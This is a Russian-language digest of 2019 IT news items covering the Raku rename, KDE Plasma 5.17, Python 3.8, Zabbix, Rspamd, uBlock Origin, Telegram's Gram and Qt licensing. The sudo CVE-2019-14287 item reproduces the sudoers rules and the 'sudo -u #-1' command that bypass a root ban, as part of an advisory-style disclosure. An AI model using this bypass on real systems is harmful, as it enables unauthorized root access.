Язык Perl 6 переименован в Raku

В репозитории Perl 6 официально принято изменение, меняющие имя проекта на Raku. Отмечается, что несмотря на то, что формально проекту уже присвоено новое имя, смена имени для проекта, который развивается уже 19 лет, требует проведения большой работы и до полного завершения переименования потребуется некоторое время.

Например, замена Perl на Raku потребует также замены упоминания «perl» в каталогах и именах файлов, классах, переменных окружения, переработки документации и сайта. Также предстоит большая работа с сообществом и сторонними сайтами, по замене упоминаний Perl 6 на Raku на всевозможных информационных ресурсах (например, может потребоваться добавление тега raku в материалы с тегом perl6). Нумерация версий языка пока останется без изменений и следующим станет релиз «6.e», в котором будет сохранена совместимость с прошлыми выпусками. Но не исключается организация обсуждения перехода к другой нумерации выпусков.

Для скриптов будет использоваться расширение «.raku», для модулей «.rakumod», для тестов «.rakutest», а для документации «.rakudoc» (более короткое расширение «.rk» решено не использовать так как оно может быть спутано с расширением «.rkt», уже используемым в языке Racket. Новые расширения планируется закрепить в спецификации 6.e, которая будет выпущена в следующем году. Поддержка старых расширений «.pm», «.pm6» и «.pod6» в спецификации 6.e будет сохранена, но в следующей редакции 6.f эти расширения будут помечены как устаревшие (будет выводиться предупреждение). К устаревшими также могут быть отнесены метод «.perl», класс Perl, переменная $*PERL, «#!/usr/bin/perl6» в заголовке скриптов, переменные окружения PERL6LIB и PERL6_HOME. В редакции 6.g многие оставленные для совместимости привязки к Perl возможно будут удалены.

Проект продолжит развиваться под покровительством организации «The Perl Foundation«. Создание альтернативной организации может быть рассмотрено если «The Perl Foundation» примет решение не иметь дела с проектом Raku. На сайте «The Perl Foundation» проект Raku предлагается преподносить как один из языков семейства Perl, наряду с RPerl и CPerl. С другой стороны упоминается и идея создания «The Raku Foundation», как организации только для Raku с оставлением «The Perl Foundation» для Perl 5.

Напомним, что основной причиной нежелания продолжать развитие проекта под именем Perl 6 является то, что Perl 6 не стал продолжением Perl 5, как ожидалось изначально, а превратился в отдельный язык программирования, для которого так и не было подготовлено инструментария по прозрачной миграции с Perl 5. В итоге сложилась ситуация, когда под одним именем Perl предлагаются два параллельно развивающихся самостоятельных языка, не совместимых друг с другом на уровне исходных текстов и имеющих свои сообщества разработчиков. Использование одного имени для родственных, но кардинально отличающихся языков, приводит к путанице и многие пользователи продолжают считать Perl 6 новой версией Perl, а не принципиально другим языком. При этом имя Perl продолжает связываться с Perl 5, а упоминание Perl 6 требует отдельного уточнения.

Источник: [ссылка]

Релиз рабочего стола KDE Plasma 5.17

Доступен релиз пользовательской оболочки KDE Plasma 5.17, построенной с использованием платформы KDE Frameworks 5 и библиотеки Qt 5 с применением OpenGL/OpenGL ES для ускорения отрисовки. Оценить работу новой версии можно через Live-сборку от проекта openSUSE и сборки от проекта KDE Neon. Пакеты для различных дистрибутивов можно найти на данной странице.

Ключевые улучшения:

  • В оконном менеджере KWin улучшена поддержка экранов с высокой плотностью пикселей (HiDPI) и добавлена поддержка дробного масштабирования для сеансов рабочего стола Plasma на базе Wayland. Указанная возможность позволяет подобрать оптимальный размер элементов на экранах с высокой плотностью пикселей, например, можно увеличить выводимые элементы интерфейса не в 2 раза, а в 1.5;
  • Тема оформления Breeze GTK модернизирована для улучшения отображения интерфейса Chromium/Chrome в окружении KDE (например, активные и неактивные вкладки теперь визуально отличаются). Обеспечено применение цветовой схемы к приложениям GTK и GNOME. При использовании Wayland появилась возможность изменения размера панелей-заголовков GTK (headerbar) относительно краёв окна;
  • Изменено оформление боковых панелей с настройками. По умолчанию прекращена отрисовка границ окон.
  • Режим «Не беспокоить» («Do Not Disturb»), приостанавливающий вывод уведомлений, теперь автоматически активируется при включении зеркалирования экрана (например, при показе презентаций);
  • Вместо показа числа непросмотренных уведомлений виджет системы уведомлений теперь включает пиктограмму звонка;
  • Улучшен интерфейс позиционирования виджетов, который также адаптирован для сенсорных экранов;
  • При отрисовке шрифтов включен по умолчанию режим лёгкого RGB хинтинга (в настройках включен режим «Use anti-aliasing», опция «Sub-pixel rendering type» выставлена в значение «RGB», а «Hinting style» в «Slight»);
  • Сокращено время запуска рабочего стола;
  • В KRunner и Kickoff добавлена поддержка преобразования дробных единиц измерения (например, 3/16 дюйма = 4.76 мм);
  • В режиме динамической смены обоев рабочего стола появилась возможность определения порядка следования изображений (раньше обои менялись только случайным образом);
  • Добавлена возможность использования картинки дня с сервиса Unsplash в качестве обоев рабочего стола с возможностью выбора категории;
  • Значительно улучшен виджет для подключения к публичным беспроводным сетям;
  • В виджете управления громкостью добавлена возможность ограничения максимальной громкости значением ниже 100%;
  • В липких заметках по умолчанию обеспечена очистка элементов форматирования текста при его вставке из буфера обмена;
  • В Kickoff в секции недавно открытых документов обеспечено отображение и документов, открытых в приложениях GNOME/GTK;
  • В конфигуратор добавлена секция для настройки оборудования с интерфейсом Thunderbolt;
  • Модернизирован интерфейс настройки ночной подсветки, который теперь доступен и при работе поверх X11.
  • Переработан интерфейс конфигураторов экранов, энергопотребления, загрузочной заставки, эффектов на рабочем столе, блокировщика экрана, сенсорных экранов, окон, расширенных настроек SDDM и активации действий при наведении курсора в углы экрана. Реорганизованы страницы в секции настройки оформления;
  • В разделе системных настроек реализовано отображение основной информации о системе;
  • Для людей с ограниченными возможностями добавлена возможность перемещения курсора с использованием клавиатуры;
  • Расширены настройки оформления страницы входа в систему (SDDM), для которой теперь можно указать собственный шрифт, цветовую схему, набор пиктограмм и другие настройки;
  • Добавлен двухэтапный спящий режим, при которой сначала система переводится в ждущий режим, а через несколько часов в спящий;
  • На страницу настройки цветов добавлена возможность изменения цветовой схемы для заголовков;
  • Добавлена возможность назначения глобальной горячей клавиши для отключения экрана;
  • В System Monitor добавлена поддержка отображения детальной информации о cgroup для оценки ограничения ресурсов контейнера. Для каждого процесса выведена статистика о связанном с ним сетевом трафике. Добавлена возможность просмотра статистики для GPU NVIDIA;
  • В Центре установки приложений и дополнений (Discover) реализованы корректные индикаторы прогресса выполнения операций. Улучшено информирование об ошибках из-за проблем с сетевым соединением. Добавлены пиктограммы в боковой панели и пиктограммы для приложений snap;
  • В оконном менеджере KWin обеспечена корректная прокрутка колесом мыши в окружении на базе Wayland. Для X11 добавлена возможность использования клавиши Meta в роли модификатора для переключения окон (вместо Alt+Tab). Добавлена опция, ограничивающая применение настроек экрана только текущим расположением экрана в многомониторных конфигурациях. В эффекте «Present Windows» добавлена поддержка закрытия окон кликом средней кнопкой мыши.

Источник: [ссылка]

Выпуск языка программирования Python 3.8

После полутора лет разработки представлен значительный релиз языка программирования Python 3.8. Корректирующие обновления для ветки Python 3.8 планируется выпускать в течение 18 месяцев. Критические уязвимости будут исправляться 5 лет до октября 2024 года. Корректирующие обновления для ветки 3.8 будут выходить раз в два месяца, на декабрь намечен первый корректирующий релиз Python 3.8.1.

Среди добавленных новшеств:

  • Поддержка операций присвоения внутри сложных выражений. При помощи нового оператора «:=» появилась возможность выполнять операции присвоения значений внутри других выражений, например, чтобы избежать двойного вызова функций в условных операторах и при определении циклов:
         if (n := len(a)) > 10:        ...       while (block := f.read(256)) != '':        ...  
  • Поддержка нового синтаксиса задания аргументов функции. При перечислении аргументов во время определения функции теперь можно указывать признак «/», позволяющий отделить аргументы, значения которым могут быть присвоены только на основе порядка перечисления значений во время вызова функции, от аргументов, допускающих присвоение в произвольном порядке (синтаксис «переменная=значение»). С практической стороны новая возможность позволяет в функциях на языке Python полностью эмулировать поведение существующих функций на языке Си, а также избежать привязок к конкретным именам, например, если имя параметра планируется изменить в будущем.

    Флаг «/» дополняет собой ранее добавленный признак «*», отделяющий переменные, для которых применимо только присвоение в форме «переменная=значение». Например, в функции «def f(a, b, /, c, d, *, e, f):» переменные «a» и «b» могут быть присвоены только в порядке перечисления значений, переменные «e» и «f», только через присвоение «переменная=значение», а переменные «c» и «d» любым из указанных способов:

         f(10, 20, 30, 40, e=50, f=60)     f(10, 20, с=30, d=40, e=50, f=60)  
  • Добавлен новый Си API для настройки параметров инициализации Python, позволяющий полностью контролировать всю конфигурацию и предоставляющий расширенные средства обработки ошибок. Предложенный API упрощает встраивание функциональности интерпретатора Python в другие приложения на языке Си;
  • Реализован новый протокол Vectorcall для более быстрого обращения к объектам, написанным на языке Си. В CPython 3.8 доступ к Vectorcall пока ограничен внутренним использованием, перевод в разряд публично доступных API намечен в CPython 3.9;
  • Добавлены вызовы Runtime Audit Hooks, предоставляющие приложениям и фреймворкам на языке Python доступ к низкоуровневой информации о ходе выполнения скрипта для проведения аудита выполняемых действий (например, можно отследить импорт модулей, открытие файлов, использовании трассировки, обращения к сетевым сокетам, запуск кода через exec, eval и run_mod);
  • В модуле pickle обеспечена поддержка протокола Pickle 5, используемого для сериализации и десериализации объектов. Pickle позволяет оптимизировать передачу больших объёмов данных между процессами Python в многоядерных и многоузловых конфигурациях, сократив число операций копирования памяти и применяя дополнительные техники оптимизации, такие как задействование специфичных для определённых данных алгоритмов сжатия. Пятая версия протокола примечательна добавлением режима отделённой передачи (out-of-band), при которого данные могут передаваться отдельно от основного потока pickle.
  • По умолчанию активирована четвёртая версия протокола Pickle, которая по сравнению с ранее предлагавшейся по умолчанию третьей версией позволяет добиться более высокой производительности и сокращения размера передаваемых данных;
  • В модуле typing представлено несколько новых возможностей:
    • Класс TypedDict для ассоциативных массивов, в которых для связываемых с ключами данных явно задаётся информация о типе («TypedDict(‘Point2D’, x=int, y=int, label=str)»).
    • Тип Literal, позволяющий ограничить параметр или возвращаемое значение несколькими предопределёнными значениями («Literal[‘connected’, ‘disconnected’]»).
    • Конструкция «Final«, дающая возможность определить значения переменных, функций, методов и классов, которые не могут быть изменены или переназначены («pi: Final[float] = 3.1415926536»).
  • Добавлена возможность назначения кэша для скомпилированных файлов с байткодом, сохраняемого в отдельном дереве ФС и отделённого от каталогов с кодом. Путь для сохранения файлов с байткодом задаётся через переменную PYTHONPYCACHEPREFIX или опцию «-X pycache_prefix»;
  • Реализована возможность создания отладочных сборок Python, использующих идентичный с релизом ABI, что позволяет в отладочных сборках загружать написанные на языке СИ расширения, собранные для стабильных выпусков;
  • В f-строках (форматируемые литералы с префиксом ‘f’) обеспечена поддержка оператора «=» (например, «f'{expr=}'»), позволяющего преобразовать выражение в текст для упрощения отладки. Например:
         ››› user = 'eric_idle'     ››› member_since = date(1975, 7, 31)     ››› f'{user=} {member_since=}'     "user='eric_idle' member_since=datetime.date(1975, 7, 31)"  
  • Выражение «continue» разрешено использовать внутри блока finally;
  • Добавлен новый модуль multiprocessing.shared_memory, позволяющий использовать сегменты разделяемой памяти в многопроцессных конфигурациях;
  • На платформе Windows реализация asyncio переведена на использование класса ProactorEventLoop;
  • Производительность инструкции LOAD_GLOBAL увеличена примерно на 40% за счёт использования нового механизма кэширования объектного кода.

Источник: [ссылка]

Уязвимость в sudo, позволяющая повысить привилегии при использовании специфичных правил

В утилите Sudo, используемой для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2019-14287), которая позволяет добиться выполнения команд с правами root, при наличии в настройках sudoers правил, в которых в секции проверки идентификатора пользователя после разрешающего ключевого слова «ALL» следует явный запрет запуска с правами root («… (ALL, !root) …»). В конфигурациях по умолчанию в дистрибутивах уязвимость не проявляется.

При наличии в sudoers допустимых, но крайне редко встречающихся на практике правил, разрешающих выполнение определённой команды под UID-идентификатором любого пользователя, кроме root, атакующий, имеющий полномочия выполнения данной команды, может обойти установленное ограничение и выполнить команду с правами root. Для обхода ограничения достаточно попытаться выполнить указанною в настройках команду с UID «-1» или «4294967295», что приведёт к её выполнению с UID 0.

Например, если в настройках имеется правило, дающее любому пользователю право на выполнение программы /usr/bin/id под любым UID:

     myhost ALL = (ALL, !root) /usr/bin/id  

или вариант, разрешающий выполнение только конкретному пользователю bob:

     myhost bob = (ALL, !root) /usr/bin/id  

Пользователь может выполнить «sudo -u ‘#-1’ id» и утилита /usr/bin/id будет запущена с правами root, несмотря на явный запрет в настройках. Проблема вызвана упущением из внимания спецзначений «-1» или «4294967295», которые не приводят к смене UID, но так как сам sudo уже выполняется под root, то без смены UID и целевая команда также запускается с правами root.

В дистрибутивах SUSE и openSUSE без указания в правиле «NOPASSWD» уязвимость не эксплуатируема, так как в sudoers по умолчанию включён режим «Defaults targetpw» при котором выполняется проверка UID по базе паролей с выводом запроса ввода пароля целевого пользователя. Для подобных систем атака может быть совершена только при наличии правил вида:

     myhost ALL = (ALL, !root) NOPASSWD:  /usr/bin/id  

Проблема устранена в выпуске Sudo 1.8.28. Исправление также доступно в форме патча. В дистрибутивах уязвимость уже устранена в Debian, Arch Linux, SUSE/openSUSE, Ubuntu и Gentoo. На момент написания новости проблема остаётся неисправленной в RHEL, Fedora, и FreeBSD. Уязвимость выявлена исследователями безопасности из компании Apple.

Источник: [ссылка]

Выпуск системы мониторинга Zabbix 4.4

После 6 месяцев разработки доступна новая версия системы мониторинга Zabbix 4.4, код которой распространяется под лицензией GPLv2. Zabbix состоит из трёх базовых компонентов: сервера для координации выполнения проверок, формирования проверочных запросов и накопления статистики; агентов для осуществления проверок на стороне внешних хостов; фронтэнда для организации управления системой.

Для снятия нагрузки с центрального сервера и формирования распределённой сети мониторинга может быть развёрнута серия прокси-серверов, агрегирующих данные о проверке группы хостов. Данные могут храниться в СУБД MySQL, PostgreSQL, TimescaleDB, DB2 и Oracle. Без агентов Zabbix-сервер может получать данные по таким протоколам как SNMP, IPMI, JMX, SSH/Telnet, ODBC, проводить тестирование доступности Web-приложений и систем виртуализации.

Основные нововведения:

  • Представлен новый тип агента — zabbix_agent2, написанного на языке Go и предоставляющего фреймворк по разработке плагинов для проверки различных сервисов и приложений. Новый агент включает встроенный планировщик с поддержкой задания гибкого графика выполнения проверок и может отслеживать состояние между проверками (например, поддерживая открытым соединение к СУБД). Для экономии трафика поддерживается отправка полученных данных в пакетном режиме. Новый агент может быть использован для прозрачной замены старого пока только на платформе Linux;
  • Добавлена возможность использования web-хуков и собственных обработчиков действий и уведомлений при выявлении сбоев проверяемых сервисов. Обработчики можно создавать на JavaScript и применять для обращения к внешним службам доставки уведомлений или системами отслеживания ошибок. Например, можно написать обработчик для отправки сообщений о проблемах в корпоративный чат;
  • Реализована официальная поддержка СУБД TimescaleDB в качестве хранилища данных о проверках. В отличие от ранее поддерживаемых MySQL, PostgreSQL, Oracle и DB2, СУБД TimescaleDB специально оптимизирована для хранения и обработки данных в форме временного ряда (срезы значений параметров через заданные промежутки времени, запись образует время и набор соответствующих этому времени значений). TimescaleDB позволяет существенно повысить эффективность и производительность при работе с подобными данными, демонстрируя практически линейный уровень производительности. Кроме того, TimescaleDB поддерживает такие возможности как автоматическая чистка старых записей;
  • Подготовлены спецификации по оформлению шаблонов для стандартизации настроек. Структура файлов XML/JSON приведена к виду, пригодному для редактирования шаблона вручную в обычном текстовом редакторе. Существующие шаблоны приведены в соответствие с предложенными спецификациями;
  • Реализована база знаний для документирования проверяемых элементов и триггеров, которые могут быть снабжены подробным описанием, пояснением целей сбора информации и инструкциями по действию в случае возникновения проблем;
  • Представлены расширенные возможности визуализации состояния инфраструктуры. Добавлена возможность изменения параметров виджетов одним кликом. Наборы графиков оптимизированы для отображения на широкоформатных экранах и больших настенных панелях. Все виджет адаптированы для отображения в режиме без заголовков. Добавлен новый виджет для отображения прототипов графиков. В виджет со сводной статистикой проблем добавлен новый агрегированный режим просмотра;
  • В столбчатые диаграммы и графики добавлена поддержка отображения данных, обработанных при помощи различных агрегатных функций, что делает более удобным анализ данных за большие промежутки времени и упрощает планирование. Поддерживаются следующие функции: min, max, avg, count, sum, first и last;
  • Добавлена возможность автоматической регистрации новых устройств при помощи PSK-ключей (Pre-shared key) с шифрованием настроек для добавляемого хоста;
  • Добавлена поддержка расширенного синтаксиса JSONPath, позволяющего организовать сложный препроцессинг данных в формате JSON, включающий операции агрегирования и поиска;
  • Добавлена поддержка прикрепления описаний к пользовательским макросам;
  • Повышена эффективность сбора и определения данных, связанных с WMI, JMX и ODBC, через добавление новых проверок, возвращающих массивы объектов в формате JSON. Также добавлена поддержка хранилищ для VMWare и сервисов systemd, а также возможность преобразования данных CSV в JSON;
  • Максимальный лимит на число зависимых элементов повышен до 10 тысяч;
  • Добавлена поддержка новых платформ: SUSE Linux Enterprise Server 15, Debian 10, Raspbian 10, macOS и RHEL 8. Для Windows подготовлен пакет с агентом в формате MSI. Добавлена поддержка быстрого развёртывания системы мониторинга в изолированном контейнере или в облачных окружениях AWS, Azure, Google Cloud Platform, Digital Ocean и Docker.

Источник: [ссылка]

Доступна система фильтрации спама Rspamd 2.0

Представлен релиз системы фильтрации спама Rspamd 2.0, предоставляющей средства для оценки сообщений по различным критериям, включая правила, статистические методы и чёрные списки, на основе которых формируется итоговый вес сообщения, используемый для принятия решения о необходимости блокировки. Rspamd поддерживает практически все возможности, реализованные в SpamAssassin, и имеет ряд особенностей, позволяющих фильтровать почту в среднем в 10 раз быстрее, чем SpamAssassin, а также обеспечивать лучшее качество фильтрации. Код системы написан на языке Си и распространяется под лицензией Apache 2.0.

Rspamd построен с использованием событийно-ориентированной архитектуры (Event-driven) и изначально рассчитан на применение в высоконагруженных системах, позволяя обрабатывать сотни сообщений в секунду. Правила для выявления признаков спама отличаются высокой гибкостью и в простейшем виде могут содержать регулярные выражения, а в более сложных ситуациях могут оформляться на языке Lua. Расширение функциональности и добавление новых типов проверок реализуется через модули, которые могут создаваться на языках Си и Lua. Например, доступны модули для проверки отправителя с использованием SPF, подтверждения домена отправителя через DKIM, формирования запросов в списки DNSBL. Для упрощения настройки, создания правил и отслеживания статистики предоставляется административный web-интерфейс.

Основные новшества:

  • Осуществлён переход на новую схему нумерации выпусков. Так как первое число в номере версии не менялось уже несколько лет, а реальным индикатором версии выступает второе число, решено вместо схемы «x.y.z» перейти на формат «y.z»;
  • Для цикла обработки событий вместо Libevent задействована библиотека libev, избавленная от некоторых ограничений libevent и позволяющая добиться более высокой производительности. Использование libev дало возможность упростить код, улучшить обработку сигналов и таймаутов, а также унифицировать отслеживание изменений файлов при помощи механизма inotify (не все поставляемые для поддерживаемых платформ выпуски libevent могли работать с inotify);
  • Прекращена поддержка модуля классификации сообщений, использующего библиотеку глубинного машинного обучения Torch. В качестве причины называется излишняя усложнённость Torch и большая трудоёмкость сопровождения в актуальном состоянии. В качестве замены для классификации с использованием методов машинного обучения предложен полностью переписанный модуль Neural, в котором для обеспечения работы нейронной сети используется библиотека kann, включающая всего 4000 строк кода на языке Си. В новой реализации решены многие проблемы с возникновением взаимных блокировок во время обучения;
  • Модуль RBL заменил собой модули SURBL и Emails, что позволило унифицировать обработку всех проверок по черным спискам. Возможности RBL расширены поддержкой дополнительных типов, таких как селекторы, и средствами для упрощённого расширения существующих правил. Правила блокировки email на основе map-списков вместо DNS RBL больше не поддерживаются, вместо них рекомендуется использовать multimap с селекторами;
  • Для определения типов файлов по содержимому задействована новая библиотека Lua Magic, использующая Lua и Hyperscan вместо libmagic. В качестве причины создания собственной библиотеки упоминается желание добиться более высокой производительности, избавиться от сбоев при выявлении файлов docx, получить более подходящий API и добавить новые виды эвристики, не ограниченные жёсткими правилами;
  • Улучшен модуль для хранения данных в СУБД Clickhouse. Добавлены поля LowCardinality и существенно оптимизировано потребление памяти;
  • Расширены возможности модуля Multimap, в котором появилась поддержка комбинированных и зависимых сопоставлений;
  • В модуле Maillist улучшено определение списков рассылки;
  • В рабочих процессах появилась возможность отправки в основной процесс heartbeat-сообщений, подтверждающих работу в штатном режиме. При отсутствии подобных сообщений в течение определённого времени основной процесс может принудительно завершить рабочий процесс. По умолчанию данный режим пока отключён;
  • Добавлена серия новых сканеров на языке Lua. Например, добавлены модули для сканирования сообщений в антивирусных пакетах Kaspersky ScanEngine, Trend Micro IWSVA (через icap ) и F-Secure Internet Gatekeeper (через icap), а также предложены внешние сканеры для Razor, oletools и P0F;
  • Добавлена возможность изменения сообщений через Lua API. Для внесения изменений в MIME-блоки предложен модуль lib_mime;
  • Обеспечена раздельная обработка настроек, установленных через «Settings-Id:», например, теперь можно привязывать правила только к определённым идентификаторам настроек;
  • Проведены оптимизации производительности Lua-движка, декодирования base64 и определения языка для текста. Добавлена поддержка кэширования сложных сопоставлений (maps). Реализована поддержка HTTP keep-alive.

Источник: [ссылка]

Недоработка в Python-скрипте могла привести к неверным результатам в более 100 публикациях по химии

Аспирант гавайского университета обнаружил проблему в Python-скрипте, используемом для вычислений химического сдвига, определяющего химическое строение изучаемого вещества при спектральном анализе сигналов методом ядерного магнитного резонанса. В ходе верификации результатов исследований одного из своих профессоров аспирант заметил, что при выполнении скрипта в разных операционных системах над одним и тем же набором данных на выходе получался разный результат.

Например, при запуске в macOS 10.14 и Ubuntu 16.04 для протестированного набора данных скрипт выдавал некорректное значение 172.4 вместо 173.2. Скрипт включает около 1000 строк кода и используется химиками с 2014 года. Изучение кода показало, что вывод неверного значения обусловлен отличиями при сортировке файлов в разных операционных системах. Авторы скрипта полагали, что функция «glob()» всегда возвращает файлы, отcортированные по имени, в то время как в документации на glob указано, что порядок вывода не гарантируется. Исправление свелось к добавлению list_of_files.sort() после вызова glob().

Обнаруженная проблема поставила под сомнение корректность более 100 публикаций по химии, выводы в которых были сделаны на основе вычисленного скриптом химического сдвига. Точное число исследований, в которых использовался скрипт неизвестно, но публикация с его кодом процитирована в 158 работах. Авторам данных работ рекомендовано оценить корректность работы скрипта на применявшихся для вычисления операционных системах и провести перерасчёт для того, чтобы убедиться в правильности вычисленных значений. Инцидент является прекрасным примером того, что не только качество проведения эксперимента, но и корректность обработки полученных данных в программах, которые до этого повсеместно использовались, может повлиять на конечный результат.

Источник: [ссылка]

Chrome Web Store блокировал публикацию обновления uBlock Origin

Рэймонд Хилл (Raymond Hill), автор систем блокирования нежелательного контента uBlock Origin и uMatrix, столкнулся с невозможностью публикации очередного тестового выпуска (1.22.5rc1) блокировщика рекламы uBlock Origin в каталоге Chrome Web Store. Публикация была отвергнута с указанием в качестве причины недопустимости размещения в каталоге «многоцелевых дополнений», которые включают функции, не связанные с основным заявленным назначением. В соответствии с утверждёнными ещё в 2013 году изменениями правил Chrome Web Store, многоцелевые дополнения не допускаются и подлежат разделению на несколько простых.

Так как uBlock Origin реализует лишь одну конкретную функциональность (блокирование рекламы), Рэймонд посчитал, что это ложное срабатывание и предпринял повторую попытку публикации обновления, сменив номер версии (1.22.5rc2), но она оказались безуспешной. Добиться у службы поддержки ответа на вопрос, какая именно дополнительная функциональность присутствует в uBlock Origin, также не удалось. На просьбу уточнить причину и попытку убедить службу поддержки в отсутствии нарушения приходят лишь ссылки на общие пункты правил, без детализации в чём именно нарушение.

В итоге Рэймонд пришёл к выводу, что бесполезно пытаться по электронной почте доказать ошибочный характер отклонения новой версии, так как в ответ приходят лишь повторяющиеся типовые общие отписки и никто не пытается вникнуть в суть проблемы. Рэймонд также закрыл созданное сообщение о проблеме, пометив его как не подлежащее решению и посоветовал пользователям найти другой браузер, если они хотят использовать uBlock Origin.

Дополнение: Несколько минут назад в каталоге Chrome Web Store появился новый тестовый выпуск 1.22.5.102 (rc2), но подтверждения урегулирования проблемы пока нет и не ясно не возникнет ли проблем при попытке обновления стабильной ветки, будущий выпуск (1.22.5) которой идентичен последним тестовым обновлениям, попытка публикации которых привела к проблемам.

Источник: [ссылка]

Ларри Уолл одобрил переименование Perl 6 в Raku

Ларри Уолл, создатель языка Perl и «великодушный пожизненный диктатор» проекта, одобрил заявку на переименование Perl 6 в Raku, поставив таким образом точку в спорах о переименовании. Имя Raku выбрано как производное от Rakudo, названия компилятора Perl 6. Оно уже привычно разработчикам и не пересекается с другими проектами в поисковых системах.

В своём комментарии Ларри процитировал фразу из библии «Никто не пришивает к старой одежде заплату из новой ткани, иначе новая ткань сядет, порвет старую, и дыра станет еще больше. И никто не вливает молодого вина в мехи ветхие; а иначе молодое вино прорвет мехи, и само вытечет, и мехи пропадут; но молодое вино должно вливать в мехи новые; тогда сбережется и то и другое.», но отбросил окончание «И никто, пив старое вино, не захочет тотчас молодого, ибо говорит: старое лучше».

Напомним, что переименование Perl 6 активно обсуждается в сообществе с начала августа. Основной причиной нежелания продолжать развитие проекта под именем Perl 6 является то, что Perl 6 не стал продолжением Perl 5, как ожидалось изначально, а превратился в отдельный язык программирования, для которого так и не было подготовлено инструментария по прозрачной миграции с Perl 5.

В итоге сложилась ситуация, когда под одним именем Perl предлагаются два параллельно развивающихся самостоятельных языка, не совместимых друг с другом на уровне исходных текстов и имеющих свои сообщества разработчиков. Использование одного имени для родственных, но кардинально отличающихся языков приводит к путанице и многие пользователи продолжают считать Perl 6 новой версией Perl, а не принципиально другим языком. При этом имя Perl продолжает связываться с Perl 5, а упоминание Perl 6 требует отдельного уточнения.

Источник: [ссылка]

Комиссия по ценным бумагам США приостановила размещение криптовалюты Telegram

Комиссия по ценным бумагам и биржам США (SEC) объявила о введении запретительных мер против незарегистрированного размещения цифровых токенов, связанных с криптовалютой Gram, построенной на блокчейн-платформе TON (Telegram Open Network). Проект привлёк более 1.7 млрд долларов инвестиций и должен был стартовать не позднее 31 октября, после чего связанные с криптовалютой токены поступили бы в свободную продажу.

Принятый запрет преподносится как попытка недопустить наполнение рынка США цифровыми токенами, которые, по мнению Комиссии по ценным бумагам США, были проданы незаконно. Особенностью Gram является то, что все единицы криптовалюты Gram эмитированы разом и распределены между инвесторами и стабилизационным фондом, а не формируются в ходе майнинга. SEC утверждает, что при подобной организации на Gram распространяется имеющееся законодательство о ценных бумагах. В частности, эмиссия Gram требовала обязательной регистрации в соответствующих регулирующих органах, но подобная регистрация не была произведена.

Утверждается, что Комиссия уже предупреждала о том, что невозможно избежать выполнения федеральных законов о ценных бумагах, просто называя продукт криптовалютой или цифровым токеном. В случае Telegram, он стремится получить выгоду от публичного размещения без соблюдения давно установленных правил по раскрытию информации, направленных на защиту инвесторов. В частности, вопреки требованиям законодательства о ценных бумагах инвесторами не была предоставлена информация о бизнес-операциях, финансовом состоянии, факторах риска и организации управления.

В настоящее время Комиссия по ценным бумагам США уже добилась временного судебного запрета в отношении деятельности двух офшорных компаний (Telegram Group Inc. и подразделения TON Issuer Inc.). В Федеральный окружной суд Манхэттена также подан иск с обвинением в нарушении требований разделов 5(а) и 5(с) «Закона о ценных бумагах», при помощи которого Комиссия пытается добиться постоянного судебного запрета, расторжения сделок и взыскания штрафа.

В тот же день стало известно о выходе Visa, Mastercard, Stripe, Mercado Pago и eBay (неделю назад из проекта также вышел PayPal) из числа основных участников проекта Libra, в рамках которого Facebook пытается развивать собственную криптовалюту. Представители Visa прокоментировали выход тем, что компания в настоящее время решила воздержаться от участия в Libra Association, но продолжит наблюдение за обстановкой и конечное решение будет зависеть он различных факторов, в том числе от способности Libra Association добиться полного соответствия требованиям регулирующих органов.

Источник: [ссылка]

Изменение лицензии на Qt Wayland Compositor и включение сбора телеметрии в Qt Creator

Компания Qt Group объявила о смене лицензии на компоненты Qt Wayland Compositor, Qt Application Manager и Qt PDF, которые начиная с выпуска Qt 5.14 начнут поставляться под лицензией GPLv3 вместо LGPLv3. Иными словами, связывание с данными компонентами теперь будет требовать открытия исходных текстов программ под лицензиями, совместимыми с GPLv3, или покупки коммерческой лицензии (ранее применение LGPLv3 допускало связывание с проприетарным кодом).

Qt Wayland Compositor и Qt Application Manager в основном востребованы при создании решений для встраиваемых и мобильных устройств, а Qt PDF ранее был доступен только в форме тестовых выпусков. Следует отметить, что под GPLv3 уже поставляется ряд дополнительных модулей и платформ, среди которых:

  • Qt Charts
  • Qt CoAP
  • Qt Data Visualization
  • Qt Device Utilities
  • Qt KNX
  • Qt Lottie Animation
  • Qt MQTT
  • Qt Network Authentication
  • Qt Quick WebGL
  • Qt Virtual Keyboard
  • Qt for WebAssembly

Другим заслуживающим внимания изменением, является включение опции для отправки телеметрии в Qt Creator. В качестве причины включения телеметрии упоминается желание понять как используются продукты Qt для последующего улучшения их качества. Заявлено, что информация обрабатывается в обезличенном виде без идентификации конкретных пользователей, но с применением UUID для анонимного разделения данных пользователей (для генерации применяется Qt-класс QUuid). В качестве идентификатора также потенциально может использоваться IP-адрес, с которого отправляется статистика, но в соглашении об обработке частной информации указано, что компания не сохраняет привязку к IP-адресам.

Компонент для отправки статистики включён в состав сегодняшнего выпуска Qt Creator 4.10.1. Связанная с телеметрией функциональность реализована через плагин «telemetry», который активируется, если пользователь не откажется от сбора данных во время установки (в процессе установки выдаётся предупреждение, в котором по умолчанию выделен пункт отправки телеметрии). Плагин основан на фреймворке KUserFeedback, развиваемом проектом KDE. Через секцию «Qt Creator Telemetry» в настройках пользователь может контролировать какие именно данные передаются на внешний сервер. Предусмотрено пять уровней детализации телеметрии:

  • Базовая системная информация (данные о версиях Qt и Qt Creator, компилятора и плагина QPA);
  • Базовая статистика по использованию (дополнительно передаются сведения о частоте запусков Qt Creator и продолжительности работы в программе);
  • Детализированная системная информация (параметры экрана, данные об OpenGL и графической карте);
  • Детализированная статистика по использованию (сведения о лицензии, использовании Qt Quick Designer, локали, системе сборки, применении различных режимов Qt Creator);
  • Отключение сбора данных.

В настройках также можно выборочно управлять включением каждого параметра статистики и просматривать итоговый JSON-документ, отправляемый на внешний сервер. В текущем выпуске по умолчанию выбран режим отключения сбора данных, но в будущем планируется активировать режим детализированной статистики по использованию. Данные передаются по шифрованному каналу связи. Серверный обработчик выполняется в облаке Amazon (хранилище статистики размещено на одном бэкенде с online-установщиком).

